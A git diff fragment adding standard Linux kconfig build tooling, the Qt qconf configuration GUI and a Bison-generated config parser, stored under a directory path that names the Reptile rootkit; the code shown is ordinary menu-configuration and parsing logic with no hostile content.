connect(list->list, SIGNAL(menuChanged(struct menu *)), + parent, SLOT(setMenuLink(struct menu *))); + + layout1->addWidget(split); + + if (name) { + int x, y, width, height; + bool ok; + + configSettings->beginGroup(name); + width = configSettings->readNumEntry("/window width", parent->width() / 2); + height = configSettings->readNumEntry("/window height", parent->height() / 2); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + Q3ValueList sizes = configSettings->readSizes("/split", &ok); + if (ok) + split->setSizes(sizes); + configSettings->endGroup(); + connect(configApp, SIGNAL(aboutToQuit()), SLOT(saveSettings())); + } +} + +void ConfigSearchWindow::saveSettings(void) +{ + if (name()) { + configSettings->beginGroup(name()); + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + configSettings->writeSizes("/split", split->sizes()); + configSettings->endGroup(); + } +} + +void ConfigSearchWindow::search(void) +{ + struct symbol **p; + struct property *prop; + ConfigItem *lastItem = NULL; + + free(result); + list->list->clear(); + info->clear(); + + result = sym_re_search(editField->text().latin1()); + if (!result) + return; + for (p = result; *p; p++) { + for_all_prompts((*p), prop) + lastItem = new ConfigItem(list->list, lastItem, prop->menu, + menu_is_visible(prop->menu)); + } +} + +/* + * Construct the complete config widget + */ +ConfigMainWindow::ConfigMainWindow(void) + : searchWindow(0) +{ + QMenuBar* menu; + bool ok; + int x, y, width, height; + char title[256]; + + QDesktopWidget *d = configApp->desktop(); + snprintf(title, sizeof(title), "%s%s", + rootmenu.prompt->text, +#if QT_VERSION < 0x040000 + " (Qt3)" +#else + "" +#endif + ); + setCaption(title); + + width = configSettings->readNumEntry("/window width", d->width() - 64); + height = configSettings->readNumEntry("/window height", d->height() - 64); + resize(width, height); + x = configSettings->readNumEntry("/window x", 0, &ok); + if (ok) + y = configSettings->readNumEntry("/window y", 0, &ok); + if (ok) + move(x, y); + + split1 = new QSplitter(this); + split1->setOrientation(Qt::Horizontal); + setCentralWidget(split1); + + menuView = new ConfigView(split1, "menu"); + menuList = menuView->list; + + split2 = new QSplitter(split1); + split2->setOrientation(Qt::Vertical); + + // create config tree + configView = new ConfigView(split2, "config"); + configList = configView->list; + + helpText = new ConfigInfoView(split2, "help"); + helpText->setTextFormat(Qt::RichText); + + setTabOrder(configList, helpText); + configList->setFocus(); + + menu = menuBar(); + toolBar = new Q3ToolBar("Tools", this); + + backAction = new Q3Action("Back", QPixmap(xpm_back), _("Back"), 0, this); + connect(backAction, SIGNAL(activated()), SLOT(goBack())); + backAction->setEnabled(FALSE); + Q3Action *quitAction = new Q3Action("Quit", _("&Quit"), Qt::CTRL + Qt::Key_Q, this); + connect(quitAction, SIGNAL(activated()), SLOT(close())); + Q3Action *loadAction = new Q3Action("Load", QPixmap(xpm_load), _("&Load"), Qt::CTRL + Qt::Key_L, this); + connect(loadAction, SIGNAL(activated()), SLOT(loadConfig())); + saveAction = new Q3Action("Save", QPixmap(xpm_save), _("&Save"), Qt::CTRL + Qt::Key_S, this); + connect(saveAction, SIGNAL(activated()), SLOT(saveConfig())); + conf_set_changed_callback(conf_changed); + // Set saveAction's initial state + conf_changed(); + Q3Action *saveAsAction = new Q3Action("Save As...", _("Save &As..."), 0, this); + connect(saveAsAction, SIGNAL(activated()), SLOT(saveConfigAs())); + Q3Action *searchAction = new Q3Action("Find", _("&Find"), Qt::CTRL + Qt::Key_F, this); + connect(searchAction, SIGNAL(activated()), SLOT(searchConfig())); + Q3Action *singleViewAction = new Q3Action("Single View", QPixmap(xpm_single_view), _("Single View"), 0, this); + connect(singleViewAction, SIGNAL(activated()), SLOT(showSingleView())); + Q3Action *splitViewAction = new Q3Action("Split View", QPixmap(xpm_split_view), _("Split View"), 0, this); + connect(splitViewAction, SIGNAL(activated()), SLOT(showSplitView())); + Q3Action *fullViewAction = new Q3Action("Full View", QPixmap(xpm_tree_view), _("Full View"), 0, this); + connect(fullViewAction, SIGNAL(activated()), SLOT(showFullView())); + + Q3Action *showNameAction = new Q3Action(NULL, _("Show Name"), 0, this); + showNameAction->setToggleAction(TRUE); + connect(showNameAction, SIGNAL(toggled(bool)), configView, SLOT(setShowName(bool))); + connect(configView, SIGNAL(showNameChanged(bool)), showNameAction, SLOT(setOn(bool))); + showNameAction->setOn(configView->showName()); + Q3Action *showRangeAction = new Q3Action(NULL, _("Show Range"), 0, this); + showRangeAction->setToggleAction(TRUE); + connect(showRangeAction, SIGNAL(toggled(bool)), configView, SLOT(setShowRange(bool))); + connect(configView, SIGNAL(showRangeChanged(bool)), showRangeAction, SLOT(setOn(bool))); + showRangeAction->setOn(configList->showRange); + Q3Action *showDataAction = new Q3Action(NULL, _("Show Data"), 0, this); + showDataAction->setToggleAction(TRUE); + connect(showDataAction, SIGNAL(toggled(bool)), configView, SLOT(setShowData(bool))); + connect(configView, SIGNAL(showDataChanged(bool)), showDataAction, SLOT(setOn(bool))); + showDataAction->setOn(configList->showData); + + QActionGroup *optGroup = new QActionGroup(this); + optGroup->setExclusive(TRUE); + connect(optGroup, SIGNAL(selected(QAction *)), configView, + SLOT(setOptionMode(QAction *))); + connect(optGroup, SIGNAL(selected(QAction *)), menuView, + SLOT(setOptionMode(QAction *))); + +#if QT_VERSION >= 0x040000 + configView->showNormalAction = new QAction(_("Show Normal Options"), optGroup); + configView->showAllAction = new QAction(_("Show All Options"), optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), optGroup); +#else + configView->showNormalAction = new QAction(_("Show Normal Options"), 0, optGroup); + configView->showAllAction = new QAction(_("Show All Options"), 0, optGroup); + configView->showPromptAction = new QAction(_("Show Prompt Options"), 0, optGroup); +#endif + configView->showNormalAction->setToggleAction(TRUE); + configView->showNormalAction->setOn(configList->optMode == normalOpt); + configView->showAllAction->setToggleAction(TRUE); + configView->showAllAction->setOn(configList->optMode == allOpt); + configView->showPromptAction->setToggleAction(TRUE); + configView->showPromptAction->setOn(configList->optMode == promptOpt); + + Q3Action *showDebugAction = new Q3Action(NULL, _("Show Debug Info"), 0, this); + showDebugAction->setToggleAction(TRUE); + connect(showDebugAction, SIGNAL(toggled(bool)), helpText, SLOT(setShowDebug(bool))); + connect(helpText, SIGNAL(showDebugChanged(bool)), showDebugAction, SLOT(setOn(bool))); + showDebugAction->setOn(helpText->showDebug()); + + Q3Action *showIntroAction = new Q3Action(NULL, _("Introduction"), 0, this); + connect(showIntroAction, SIGNAL(activated()), SLOT(showIntro())); + Q3Action *showAboutAction = new Q3Action(NULL, _("About"), 0, this); + connect(showAboutAction, SIGNAL(activated()), SLOT(showAbout())); + + // init tool bar + backAction->addTo(toolBar); + toolBar->addSeparator(); + loadAction->addTo(toolBar); + saveAction->addTo(toolBar); + toolBar->addSeparator(); + singleViewAction->addTo(toolBar); + splitViewAction->addTo(toolBar); + fullViewAction->addTo(toolBar); + + // create config menu + Q3PopupMenu* config = new Q3PopupMenu(this); + menu->insertItem(_("&File"), config); + loadAction->addTo(config); + saveAction->addTo(config); + saveAsAction->addTo(config); + config->insertSeparator(); + quitAction->addTo(config); + + // create edit menu + Q3PopupMenu* editMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Edit"), editMenu); + searchAction->addTo(editMenu); + + // create options menu + Q3PopupMenu* optionMenu = new Q3PopupMenu(this); + menu->insertItem(_("&Option"), optionMenu); + showNameAction->addTo(optionMenu); + showRangeAction->addTo(optionMenu); + showDataAction->addTo(optionMenu); + optionMenu->insertSeparator(); + optGroup->addTo(optionMenu); + optionMenu->insertSeparator(); + + // create help menu + Q3PopupMenu* helpMenu = new Q3PopupMenu(this); + menu->insertSeparator(); + menu->insertItem(_("&Help"), helpMenu); + showIntroAction->addTo(helpMenu); + showAboutAction->addTo(helpMenu); + + connect(configList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(configList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + connect(configList, SIGNAL(parentSelected()), + SLOT(goBack())); + connect(menuList, SIGNAL(menuChanged(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(menuSelected(struct menu *)), + SLOT(changeMenu(struct menu *))); + + connect(configList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + helpText, SLOT(setInfo(struct menu *))); + connect(menuList, SIGNAL(gotFocus(struct menu *)), + SLOT(listFocusChanged(void))); + connect(helpText, SIGNAL(menuSelected(struct menu *)), + SLOT(setMenuLink(struct menu *))); + + QString listMode = configSettings->readEntry("/listMode", "symbol"); + if (listMode == "single") + showSingleView(); + else if (listMode == "full") + showFullView(); + else /*if (listMode == "split")*/ + showSplitView(); + + // UI setup done, restore splitter positions + Q3ValueList sizes = configSettings->readSizes("/split1", &ok); + if (ok) + split1->setSizes(sizes); + + sizes = configSettings->readSizes("/split2", &ok); + if (ok) + split2->setSizes(sizes); +} + +void ConfigMainWindow::loadConfig(void) +{ + QString s = Q3FileDialog::getOpenFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + if (conf_read(QFile::encodeName(s))) + QMessageBox::information(this, "qconf", _("Unable to load configuration!")); + ConfigView::updateListAll(); +} + +bool ConfigMainWindow::saveConfig(void) +{ + if (conf_write(NULL)) { + QMessageBox::information(this, "qconf", _("Unable to save configuration!")); + return false; + } + return true; +} + +void ConfigMainWindow::saveConfigAs(void) +{ + QString s = Q3FileDialog::getSaveFileName(conf_get_configname(), NULL, this); + if (s.isNull()) + return; + saveConfig(); +} + +void ConfigMainWindow::searchConfig(void) +{ + if (!searchWindow) + searchWindow = new ConfigSearchWindow(this, "search"); + searchWindow->show(); +} + +void ConfigMainWindow::changeMenu(struct menu *menu) +{ + configList->setRootMenu(menu); + if (configList->rootEntry->parent == &rootmenu) + backAction->setEnabled(FALSE); + else + backAction->setEnabled(TRUE); +} + +void ConfigMainWindow::setMenuLink(struct menu *menu) +{ + struct menu *parent; + ConfigList* list = NULL; + ConfigItem* item; + + if (configList->menuSkip(menu)) + return; + + switch (configList->mode) { + case singleMode: + list = configList; + parent = menu_get_parent_menu(menu); + if (!parent) + return; + list->setRootMenu(parent); + break; + case symbolMode: + if (menu->flags & MENU_ROOT) { + configList->setRootMenu(menu); + configList->clearSelection(); + list = menuList; + } else { + list = configList; + parent = menu_get_parent_menu(menu->parent); + if (!parent) + return; + item = menuList->findConfigItem(parent); + if (item) { + menuList->setSelected(item, TRUE); + menuList->ensureItemVisible(item); + } + list->setRootMenu(parent); + } + break; + case fullMode: + list = configList; + break; + default: + break; + } + + if (list) { + item = list->findConfigItem(menu); + if (item) { + list->setSelected(item, TRUE); + list->ensureItemVisible(item); + list->setFocus(); + } + } +} + +void ConfigMainWindow::listFocusChanged(void) +{ + if (menuList->mode == menuMode) + configList->clearSelection(); +} + +void ConfigMainWindow::goBack(void) +{ + ConfigItem* item; + + configList->setParentMenu(); + if (configList->rootEntry == &rootmenu) + backAction->setEnabled(FALSE); + item = (ConfigItem*)menuList->selectedItem(); + while (item) { + if (item->menu == configList->rootEntry) { + menuList->setSelected(item, TRUE); + break; + } + item = (ConfigItem*)item->parent(); + } +} + +void ConfigMainWindow::showSingleView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = singleMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configList->setFocus(); +} + +void ConfigMainWindow::showSplitView(void) +{ + configList->mode = symbolMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(TRUE); + configApp->processEvents(); + menuList->mode = menuMode; + menuList->setRootMenu(&rootmenu); + menuList->setAllOpen(TRUE); + menuView->show(); + menuList->setFocus(); +} + +void ConfigMainWindow::showFullView(void) +{ + menuView->hide(); + menuList->setRootMenu(0); + configList->mode = fullMode; + if (configList->rootEntry == &rootmenu) + configList->updateListAll(); + else + configList->setRootMenu(&rootmenu); + configList->setAllOpen(FALSE); + configList->setFocus(); +} + +/* + * ask for saving configuration before quitting + * TODO ask only when something changed + */ +void ConfigMainWindow::closeEvent(QCloseEvent* e) +{ + if (!conf_get_changed()) { + e->accept(); + return; + } + QMessageBox mb("qconf", _("Save configuration?"), QMessageBox::Warning, + QMessageBox::Yes | QMessageBox::Default, QMessageBox::No, QMessageBox::Cancel | QMessageBox::Escape); + mb.setButtonText(QMessageBox::Yes, _("&Save Changes")); + mb.setButtonText(QMessageBox::No, _("&Discard Changes")); + mb.setButtonText(QMessageBox::Cancel, _("Cancel Exit")); + switch (mb.exec()) { + case QMessageBox::Yes: + if (saveConfig()) + e->accept(); + else + e->ignore(); + break; + case QMessageBox::No: + e->accept(); + break; + case QMessageBox::Cancel: + e->ignore(); + break; + } +} + +void ConfigMainWindow::showIntro(void) +{ + static const QString str = _("Welcome to the qconf graphical configuration tool.\n\n" + "For each option, a blank box indicates the feature is disabled, a check\n" + "indicates it is enabled, and a dot indicates that it is to be compiled\n" + "as a module. Clicking on the box will cycle through the three states.\n\n" + "If you do not see an option (e.g., a device driver) that you believe\n" + "should be present, try turning on Show All Options under the Options menu.\n" + "Although there is no cross reference yet to help you figure out what other\n" + "options must be enabled to support the option you are interested in, you can\n" + "still view the help of a grayed-out option.\n\n" + "Toggling Show Debug Info under the Options menu will show the dependencies,\n" + "which you can then match by examining other options.\n\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::showAbout(void) +{ + static const QString str = _("qconf is Copyright (C) 2002 Roman Zippel .\n\n" + "Bug reports and feature request can also be entered at http://bugzilla.kernel.org/\n"); + + QMessageBox::information(this, "qconf", str); +} + +void ConfigMainWindow::saveSettings(void) +{ + configSettings->writeEntry("/window x", pos().x()); + configSettings->writeEntry("/window y", pos().y()); + configSettings->writeEntry("/window width", size().width()); + configSettings->writeEntry("/window height", size().height()); + + QString entry; + switch(configList->mode) { + case singleMode : + entry = "single"; + break; + + case symbolMode : + entry = "split"; + break; + + case fullMode : + entry = "full"; + break; + + default: + break; + } + configSettings->writeEntry("/listMode", entry); + + configSettings->writeSizes("/split1", split1->sizes()); + configSettings->writeSizes("/split2", split2->sizes()); +} + +void ConfigMainWindow::conf_changed(void) +{ + if (saveAction) + saveAction->setEnabled(conf_get_changed()); +} + +void fixup_rootmenu(struct menu *menu) +{ + struct menu *child; + static int menu_cnt = 0; + + menu->flags |= MENU_ROOT; + for (child = menu->list; child; child = child->next) { + if (child->prompt && child->prompt->type == P_MENU) { + menu_cnt++; + fixup_rootmenu(child); + menu_cnt--; + } else if (!menu_cnt) + fixup_rootmenu(child); + } +} + +static const char *progname; + +static void usage(void) +{ + printf(_("%s \n"), progname); + exit(0); +} + +int main(int ac, char** av) +{ + ConfigMainWindow* v; + const char *name; + + bindtextdomain(PACKAGE, LOCALEDIR); + textdomain(PACKAGE); + + progname = av[0]; + configApp = new QApplication(ac, av); + if (ac > 1 && av[1][0] == '-') { + switch (av[1][1]) { + case 'h': + case '?': + usage(); + } + name = av[2]; + } else + name = av[1]; + if (!name) + usage(); + + conf_parse(name); + fixup_rootmenu(&rootmenu); + conf_read(NULL); + //zconfdump(stdout); + + configSettings = new ConfigSettings(); + configSettings->beginGroup("/kconfig/qconf"); + v = new ConfigMainWindow(); + + //zconfdump(stdout); + configApp->setMainWidget(v); + configApp->connect(configApp, SIGNAL(lastWindowClosed()), SLOT(quit())); + configApp->connect(configApp, SIGNAL(aboutToQuit()), v, SLOT(saveSettings())); + v->show(); + configApp->exec(); + + configSettings->endGroup(); + delete configSettings; + + return 0; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.tab.c_shipped b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.tab.c_shipped new file mode 100644 index 0000000..25ae16a --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/zconf.tab.c_shipped @@ -0,0 +1,2538 @@ +/* A Bison parser, made by GNU Bison 2.5. */ + +/* Bison implementation for Yacc-like parsers in C + + Copyright (C) 1984, 1989-1990, 2000-2011 Free Software Foundation, Inc. + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . */ + +/* As a special exception, you may create a larger work that contains + part or all of the Bison parser skeleton and distribute that work + under terms of your choice, so long as that work isn't itself a + parser generator using the skeleton or a modified version thereof + as a parser skeleton. Alternatively, if you modify or redistribute + the parser skeleton itself, you may (at your option) remove this + special exception, which will cause the skeleton and the resulting + Bison output files to be licensed under the GNU General Public + License without this special exception. + + This special exception was added by the Free Software Foundation in + version 2.2 of Bison. */ + +/* C LALR(1) parser skeleton written by Richard Stallman, by + simplifying the original so-called "semantic" parser. */ + +/* All symbols defined below should begin with yy or YY, to avoid + infringing on user name space. This should be done even for local + variables, as they might otherwise be expanded by user macros. + There are some unavoidable exceptions within include files to + define necessary library symbols; they are noted "INFRINGES ON + USER NAME SPACE" below. */ + +/* Identify Bison output. */ +#define YYBISON 1 + +/* Bison version. */ +#define YYBISON_VERSION "2.5" + +/* Skeleton name. */ +#define YYSKELETON_NAME "yacc.c" + +/* Pure parsers. */ +#define YYPURE 0 + +/* Push parsers. */ +#define YYPUSH 0 + +/* Pull parsers. */ +#define YYPULL 1 + +/* Using locations. */ +#define YYLSP_NEEDED 0 + +/* Substitute the variable and function names. */ +#define yyparse zconfparse +#define yylex zconflex +#define yyerror zconferror +#define yylval zconflval +#define yychar zconfchar +#define yydebug zconfdebug +#define yynerrs zconfnerrs + + +/* Copy the first part of user declarations. */ + + +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + + + + +/* Enabling traces. */ +#ifndef YYDEBUG +# define YYDEBUG 1 +#endif + +/* Enabling verbose error messages. */ +#ifdef YYERROR_VERBOSE +# undef YYERROR_VERBOSE +# define YYERROR_VERBOSE 1 +#else +# define YYERROR_VERBOSE 0 +#endif + +/* Enabling the token table. */ +#ifndef YYTOKEN_TABLE +# define YYTOKEN_TABLE 0 +#endif + + +/* Tokens. */ +#ifndef YYTOKENTYPE +# define YYTOKENTYPE + /* Put the tokens into the symbol table, so that GDB and other debuggers + know about them. */ + enum yytokentype { + T_MAINMENU = 258, + T_MENU = 259, + T_ENDMENU = 260, + T_SOURCE = 261, + T_CHOICE = 262, + T_ENDCHOICE = 263, + T_COMMENT = 264, + T_CONFIG = 265, + T_MENUCONFIG = 266, + T_HELP = 267, + T_HELPTEXT = 268, + T_IF = 269, + T_ENDIF = 270, + T_DEPENDS = 271, + T_OPTIONAL = 272, + T_PROMPT = 273, + T_TYPE = 274, + T_DEFAULT = 275, + T_SELECT = 276, + T_RANGE = 277, + T_VISIBLE = 278, + T_OPTION = 279, + T_ON = 280, + T_WORD = 281, + T_WORD_QUOTE = 282, + T_UNEQUAL = 283, + T_CLOSE_PAREN = 284, + T_OPEN_PAREN = 285, + T_EOL = 286, + T_OR = 287, + T_AND = 288, + T_EQUAL = 289, + T_NOT = 290 + }; +#endif + + + +#if ! defined YYSTYPE && ! defined YYSTYPE_IS_DECLARED +typedef union YYSTYPE +{ + + + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; + + + +} YYSTYPE; +# define YYSTYPE_IS_TRIVIAL 1 +# define yystype YYSTYPE /* obsolescent; will be withdrawn */ +# define YYSTYPE_IS_DECLARED 1 +#endif + + +/* Copy the second part of user declarations. */ + + +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" + + + +#ifdef short +# undef short +#endif + +#ifdef YYTYPE_UINT8 +typedef YYTYPE_UINT8 yytype_uint8; +#else +typedef unsigned char yytype_uint8; +#endif + +#ifdef YYTYPE_INT8 +typedef YYTYPE_INT8 yytype_int8; +#elif (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +typedef signed char yytype_int8; +#else +typedef short int yytype_int8; +#endif + +#ifdef YYTYPE_UINT16 +typedef YYTYPE_UINT16 yytype_uint16; +#else +typedef unsigned short int yytype_uint16; +#endif + +#ifdef YYTYPE_INT16 +typedef YYTYPE_INT16 yytype_int16; +#else +typedef short int yytype_int16; +#endif + +#ifndef YYSIZE_T +# ifdef __SIZE_TYPE__ +# define YYSIZE_T __SIZE_TYPE__ +# elif defined size_t +# define YYSIZE_T size_t +# elif ! defined YYSIZE_T && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# define YYSIZE_T size_t +# else +# define YYSIZE_T unsigned int +# endif +#endif + +#define YYSIZE_MAXIMUM ((YYSIZE_T) -1) + +#ifndef YY_ +# if defined YYENABLE_NLS && YYENABLE_NLS +# if ENABLE_NLS +# include /* INFRINGES ON USER NAME SPACE */ +# define YY_(msgid) dgettext ("bison-runtime", msgid) +# endif +# endif +# ifndef YY_ +# define YY_(msgid) msgid +# endif +#endif + +/* Suppress unused-variable warnings by "using" E. */ +#if ! defined lint || defined __GNUC__ +# define YYUSE(e) ((void) (e)) +#else +# define YYUSE(e) /* empty */ +#endif + +/* Identity function, used to suppress warnings about constant conditions. */ +#ifndef lint +# define YYID(n) (n) +#else +#if (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +static int +YYID (int yyi) +#else +static int +YYID (yyi) + int yyi; +#endif +{ + return yyi; +} +#endif + +#if ! defined yyoverflow || YYERROR_VERBOSE + +/* The parser invokes alloca or malloc; define the necessary symbols. */ + +# ifdef YYSTACK_USE_ALLOCA +# if YYSTACK_USE_ALLOCA +# ifdef __GNUC__ +# define YYSTACK_ALLOC __builtin_alloca +# elif defined __BUILTIN_VA_ARG_INCR +# include /* INFRINGES ON USER NAME SPACE */ +# elif defined _AIX +# define YYSTACK_ALLOC __alloca +# elif defined _MSC_VER +# include /* INFRINGES ON USER NAME SPACE */ +# define alloca _alloca +# else +# define YYSTACK_ALLOC alloca +# if ! defined _ALLOCA_H && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# endif +# endif +# endif + +# ifdef YYSTACK_ALLOC + /* Pacify GCC's `empty if-body' warning. */ +# define YYSTACK_FREE(Ptr) do { /* empty */; } while (YYID (0)) +# ifndef YYSTACK_ALLOC_MAXIMUM + /* The OS might guarantee only one guard page at the bottom of the stack, + and a page size can be as small as 4096 bytes. So we cannot safely + invoke alloca (N) if N exceeds 4096. Use a slightly smaller number + to allow for a few compiler-allocated temporary stack slots. */ +# define YYSTACK_ALLOC_MAXIMUM 4032 /* reasonable circa 2006 */ +# endif +# else +# define YYSTACK_ALLOC YYMALLOC +# define YYSTACK_FREE YYFREE +# ifndef YYSTACK_ALLOC_MAXIMUM +# define YYSTACK_ALLOC_MAXIMUM YYSIZE_MAXIMUM +# endif +# if (defined __cplusplus && ! defined EXIT_SUCCESS \ + && ! ((defined YYMALLOC || defined malloc) \ + && (defined YYFREE || defined free))) +# include /* INFRINGES ON USER NAME SPACE */ +# ifndef EXIT_SUCCESS +# define EXIT_SUCCESS 0 +# endif +# endif +# ifndef YYMALLOC +# define YYMALLOC malloc +# if ! defined malloc && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void *malloc (YYSIZE_T); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# ifndef YYFREE +# define YYFREE free +# if ! defined free && ! defined EXIT_SUCCESS && (defined __STDC__ || defined __C99__FUNC__ \ + || defined __cplusplus || defined _MSC_VER) +void free (void *); /* INFRINGES ON USER NAME SPACE */ +# endif +# endif +# endif +#endif /* ! defined yyoverflow || YYERROR_VERBOSE */ + + +#if (! defined yyoverflow \ + && (! defined __cplusplus \ + || (defined YYSTYPE_IS_TRIVIAL && YYSTYPE_IS_TRIVIAL))) + +/* A type that is properly aligned for any stack member. */ +union yyalloc +{ + yytype_int16 yyss_alloc; + YYSTYPE yyvs_alloc; +}; + +/* The size of the maximum gap between one aligned stack and the next. */ +# define YYSTACK_GAP_MAXIMUM (sizeof (union yyalloc) - 1) + +/* The size of an array large to enough to hold all stacks, each with + N elements. */ +# define YYSTACK_BYTES(N) \ + ((N) * (sizeof (yytype_int16) + sizeof (YYSTYPE)) \ + + YYSTACK_GAP_MAXIMUM) + +# define YYCOPY_NEEDED 1 + +/* Relocate STACK from its old location to the new one. The + local variables YYSIZE and YYSTACKSIZE give the old and new number of + elements in the stack, and YYPTR gives the new location of the + stack. Advance YYPTR to a properly aligned location for the next + stack. */ +# define YYSTACK_RELOCATE(Stack_alloc, Stack) \ + do \ + { \ + YYSIZE_T yynewbytes; \ + YYCOPY (&yyptr->Stack_alloc, Stack, yysize); \ + Stack = &yyptr->Stack_alloc; \ + yynewbytes = yystacksize * sizeof (*Stack) + YYSTACK_GAP_MAXIMUM; \ + yyptr += yynewbytes / sizeof (*yyptr); \ + } \ + while (YYID (0)) + +#endif + +#if defined YYCOPY_NEEDED && YYCOPY_NEEDED +/* Copy COUNT objects from FROM to TO. The source and destination do + not overlap. */ +# ifndef YYCOPY +# if defined __GNUC__ && 1 < __GNUC__ +# define YYCOPY(To, From, Count) \ + __builtin_memcpy (To, From, (Count) * sizeof (*(From))) +# else +# define YYCOPY(To, From, Count) \ + do \ + { \ + YYSIZE_T yyi; \ + for (yyi = 0; yyi < (Count); yyi++) \ + (To)[yyi] = (From)[yyi]; \ + } \ + while (YYID (0)) +# endif +# endif +#endif /* !YYCOPY_NEEDED */ + +/* YYFINAL -- State number of the termination state. */ +#define YYFINAL 11 +/* YYLAST -- Last index in YYTABLE. */ +#define YYLAST 290 + +/* YYNTOKENS -- Number of terminals. */ +#define YYNTOKENS 36 +/* YYNNTS -- Number of nonterminals. */ +#define YYNNTS 50 +/* YYNRULES -- Number of rules. */ +#define YYNRULES 118 +/* YYNRULES -- Number of states. */ +#define YYNSTATES 191 + +/* YYTRANSLATE(YYLEX) -- Bison symbol number corresponding to YYLEX. */ +#define YYUNDEFTOK 2 +#define YYMAXUTOK 290 + +#define YYTRANSLATE(YYX) \ + ((unsigned int) (YYX) <= YYMAXUTOK ? yytranslate[YYX] : YYUNDEFTOK) + +/* YYTRANSLATE[YYLEX] -- Bison symbol number corresponding to YYLEX. */ +static const yytype_uint8 yytranslate[] = +{ + 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, + 2, 2, 2, 2, 2, 2, 1, 2, 3, 4, + 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, + 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, + 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, + 35 +}; + +#if YYDEBUG +/* YYPRHS[YYN] -- Index of the first RHS symbol of rule number YYN in + YYRHS. */ +static const yytype_uint16 yyprhs[] = +{ + 0, 0, 3, 6, 8, 11, 13, 14, 17, 20, + 23, 26, 31, 36, 40, 42, 44, 46, 48, 50, + 52, 54, 56, 58, 60, 62, 64, 66, 68, 72, + 75, 79, 82, 86, 89, 90, 